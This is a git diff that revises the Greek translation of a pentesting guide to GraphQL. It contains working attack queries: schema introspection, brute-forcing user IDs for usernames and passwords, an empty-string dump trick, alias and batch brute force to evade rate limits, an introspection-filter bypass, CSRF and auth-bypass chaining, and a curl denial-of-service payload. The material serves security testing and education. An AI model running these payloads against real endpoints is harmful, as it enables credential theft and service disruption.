diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 6940765d9..4bf2fcc97 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -23,7 +23,7 @@
- `/graphql/api`
- `/graphql/graphql`
-Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα αυτογνωσίας του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την αυτογνωσία: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
+Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα εσωτερικής αναγνώρισης του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την εσωτερική αναγνώριση: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
### Δακτυλοσκοπία
@@ -31,13 +31,13 @@
#### Καθολικά ερωτήματα
-Για να ελεγχθεί αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
+Για να ελέγξετε αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα **καθολικό ερώτημα**, `query{__typename}`. Εάν η απάντηση περιλαμβάνει `{"data": {"__typename": "Query"}}`, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο `__typename` του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.
```javascript
query{__typename}
```
### Βασική Αρίθμηση
-Το Graphql συνήθως υποστηρίζει **GET**, **POST** (x-www-form-urlencoded) και **POST**(json). Αν και για λόγους ασφαλείας συνιστάται να επιτρέπεται μόνο το json για την πρόληψη επιθέσεων CSRF.
+Το Graphql συνήθως υποστηρίζει **GET**, **POST** (x-www-form-urlencoded) και **POST**(json). Αν και για λόγους ασφαλείας συνιστάται να επιτρέπεται μόνο το json για να αποτραπούν οι επιθέσεις CSRF.
#### Εξερεύνηση
@@ -51,7 +51,7 @@ query={__schema{types{name,fields{name}}}}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
-Με αυτή την ερώτηση μπορείτε να εξαγάγετε όλους τους τύπους, τα πεδία του και τα επιχειρήματά του (και τον τύπο των επιχειρημάτων). Αυτό θα είναι πολύ χρήσιμο για να γνωρίζετε πώς να κάνετε ερωτήσεις στη βάση δεδομένων.
+Με αυτό το ερώτημα μπορείτε να εξαγάγετε όλους τους τύπους, τα πεδία του και τα επιχειρήματά του (και τον τύπο των επιχειρημάτων). Αυτό θα είναι πολύ χρήσιμο για να γνωρίζετε πώς να κάνετε ερωτήματα στη βάση δεδομένων.
.png>)
@@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**Καταμέτρηση Σχήματος Βάσης Δεδομένων μέσω Εξερεύνησης**
-> [!NOTE]
+> [!TIP]
> Εάν η εξερεύνηση είναι ενεργοποιημένη αλλά το παραπάνω ερώτημα δεν εκτελείται, δοκιμάστε να αφαιρέσετε τις οδηγίες `onOperation`, `onFragment` και `onField` από τη δομή του ερωτήματος.
```bash
#Full introspection query
@@ -170,7 +170,7 @@ name
### Ερωτήματα
-Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
+Τώρα που γνωρίζουμε ποιο είδος πληροφοριών αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
@@ -193,39 +193,39 @@ query={flags{name, value}}
query = { hiddenFlags }
```
Σε ένα άλλο παράδειγμα όπου υπήρχαν 2 αντικείμενα μέσα στο αντικείμενο τύπου "_Query_": "_user_" και "_users_".\
-Αν αυτά τα αντικείμενα δεν χρειάζονται κανένα επιχείρημα για αναζήτηση, θα μπορούσατε **να ανακτήσετε όλες τις πληροφορίες από αυτά** απλά **ζητώντας** τα δεδομένα που θέλετε. Σε αυτό το παράδειγμα από το Διαδίκτυο θα μπορούσατε να εξάγετε τα αποθηκευμένα ονόματα χρηστών και κωδικούς πρόσβασης:
+Αν αυτά τα αντικείμενα δεν χρειάζονται κανένα επιχείρημα για αναζήτηση, θα μπορούσες **να ανακτήσεις όλες τις πληροφορίες από αυτά** απλά **ζητώντας** τα δεδομένα που θέλεις. Σε αυτό το παράδειγμα από το Διαδίκτυο θα μπορούσες να εξάγεις τα αποθηκευμένα ονόματα χρηστών και κωδικούς πρόσβασης:
.png>)
-Ωστόσο, σε αυτό το παράδειγμα αν προσπαθήσετε να το κάνετε αυτό θα λάβετε αυτό το **σφάλμα**:
+Ωστόσο, σε αυτό το παράδειγμα αν προσπαθήσεις να το κάνεις αυτό θα λάβεις αυτό το **σφάλμα**:
.png>)
-Φαίνεται ότι με κάποιο τρόπο θα αναζητήσει χρησιμοποιώντας το "_**uid**_" επιχείρημα τύπου _**Int**_.\
+Φαίνεται ότι με κάποιο τρόπο θα αναζητήσει χρησιμοποιώντας το επιχείρημα "_**uid**_" τύπου _**Int**_.\
Ούτως ή άλλως, το γνωρίζαμε ήδη, στην ενότητα [Basic Enumeration](graphql.md#basic-enumeration) προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
-Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
+Αν διαβάσεις την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δεις ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
-Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce ανακάλυψα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\
+Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce βρήκα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\
`query={user(uid:1){user,password}}`
.png>)
-Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
+Σημείωσε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω για τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
.png>)
Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
-**Trick dump query string (ευχαριστώ τον @BinaryShadow\_)**
+**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
-Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εκτυπώσει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο συμβολοσειράς που ονομάζεται "**description**"_).
+Αν μπορείς να αναζητήσεις με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσεις για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημείωσε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέτω ότι μπορείς να αναζητήσεις χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_).
### Αναζήτηση
-Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση**. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
+Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
-Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους:
+Μπορείς να **αναζητήσεις** άτομα **με βάση** το **όνομα** και να πάρεις τα email τους:
```javascript
{
searchPerson(name: "John Doe") {
@@ -258,7 +258,7 @@ name
}
}r
```
-Ή ακόμη **σχέσεις διαφόρων διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα**:
+Ή ακόμα **σχέσεις διαφόρων διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
@@ -302,9 +302,9 @@ rating
}
}
```
-**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.**
+**Σημειώστε πώς και οι δύο τιμές και ο τύπος δεδομένων υποδεικνύονται στο ερώτημα.**
-Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **persons** μαζί με τις συσχετίσεις τους με υπάρχοντες **friends** και **movies**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν άτομο.
+Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -334,12 +334,12 @@ releaseYear
```
### Directive Overloading
-Όπως εξηγήθηκε σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS.
+Όπως εξηγείται σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS.
-### Batching brute-force σε 1 API request
+### Batching brute-force σε 1 API αίτημα
-Αυτή η πληροφορία ελήφθη από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
+Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
+Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλούν περισσότερα από ένα ζεύγος login/password ανά HTTP αίτημα λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:
@@ -351,15 +351,15 @@ releaseYear
## GraphQL Χωρίς Introspection
-Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
+Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
-Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα για χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
-### Παράκαμψη αμυνών introspection GraphQL
+### Παράκαμψη αμυνών introspection του GraphQL
-Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές:
+Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές:
```bash
# Example with newline to bypass
{
@@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Ανακάλυψη Εκτεθειμένων Δομών GraphQL**
-Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
+Όταν η introspection είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@@ -413,7 +413,7 @@ file:* query
Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
-Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον τύπο περιεχομένου **`application/json`**.
+Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST requests χρησιμοποιώντας το Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@@ -425,9 +425,9 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.
-Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **query** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
+Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **query** **request** και ως **GET** **request** και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET request.
-Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
+Επίσης, εκμεταλλευόμενοι μια [**XS-Search**](../../pentesting-web/xs-search/index.html) **επίθεση** μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
@@ -459,19 +459,19 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
[Η αλυσίδωση ερωτημάτων](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) μπορεί να παρακάμψει ένα αδύναμο σύστημα αυθεντικοποίησης.
-Στο παρακάτω παράδειγμα μπορείτε να δείτε ότι η λειτουργία είναι "forgotPassword" και ότι θα πρέπει να εκτελεί μόνο το ερώτημα forgotPassword που σχετίζεται με αυτό. Αυτό μπορεί να παρακαμφθεί προσθέτοντας ένα ερώτημα στο τέλος, σε αυτή την περίπτωση προσθέτουμε "register" και μια μεταβλητή χρήστη για το σύστημα να εγγραφεί ως νέος χρήστης.
+Στο παρακάτω παράδειγμα μπορείτε να δείτε ότι η λειτουργία είναι "forgotPassword" και ότι θα έπρεπε να εκτελεί μόνο το ερώτημα forgotPassword που σχετίζεται με αυτό. Αυτό μπορεί να παρακαμφθεί προσθέτοντας ένα ερώτημα στο τέλος, σε αυτή την περίπτωση προσθέτουμε "register" και μια μεταβλητή χρήστη για το σύστημα να εγγραφεί ως νέος χρήστης.
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
-Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
+Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
-Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα endpoint GraphQL. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των αιτημάτων HTTP**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες μεθόδους περιορισμού ρυθμού.
+Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
-Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
+Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@@ -490,7 +490,7 @@ valid
### Alias Overloading
-**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
+**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, αναγκάζοντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1,000 φορές, πιθανώς εξαντλώντας την CPU ή τη μνήμη:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@@ -499,9 +499,9 @@ curl -X POST -H "Content-Type: application/json" \
```
Για να μετριαστεί αυτό, εφαρμόστε όρια στον αριθμό των ψευδωνύμων, ανάλυση πολυπλοκότητας ερωτημάτων ή περιορισμό ρυθμού για να αποτραπεί η κακή χρήση πόρων.
-### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
+### **Batching Ερωτημάτων Βασισμένο σε Πίνακες**
